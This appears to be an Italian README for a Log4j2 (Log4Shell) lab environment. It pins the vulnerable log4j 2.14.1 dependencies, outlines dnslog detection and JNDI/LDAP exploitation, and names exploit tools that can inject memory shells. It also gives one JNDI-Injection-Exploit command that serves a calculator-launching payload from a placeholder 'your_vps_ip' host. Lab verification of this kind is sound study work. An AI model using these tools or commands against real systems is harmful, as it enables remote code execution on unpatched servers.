Apache Log4j2 RCE Ambiente di verifica

Since from 2021.12.09

Riferimenti

https://mp.weixin.qq.com/s/yck74F9p9QhVw_3ykzVoSg

Configurazione dell'ambiente

Introduzione dei pacchetti Maven e intervallo di versioni vulnerabili

        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>

Verifica

Utilizzo di dnslog per rilevare se è in uso

LDAP combinato con JNDI per sfruttare RCE

Dipende dalla versione JDK. Dopo JDK 11.0.1, 8u191, 7u201, 6u211 è necessario impostare manualmente trustURLCodebase a true

Per uno studio approfondito, fare riferimento a https://blog.0kami.cn/2020/03/01/java/jndi-with-ldap/

Metodo di sfruttamento: può essere combinato con strumenti di iniezione JNDI, ad esempio JNDI-Injection-Exploit, fastjson_rce_tool, JNDIExploit

Può anche essere combinato con strumenti per implementare vari metodi di echo pubblici e iniezione di memory shell

# 
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "open -a /System/Applications/Calculator.app"  -A your_vps_ip

Web

TODO

Informazioni

https://github.com/apache/logging-log4j2/tags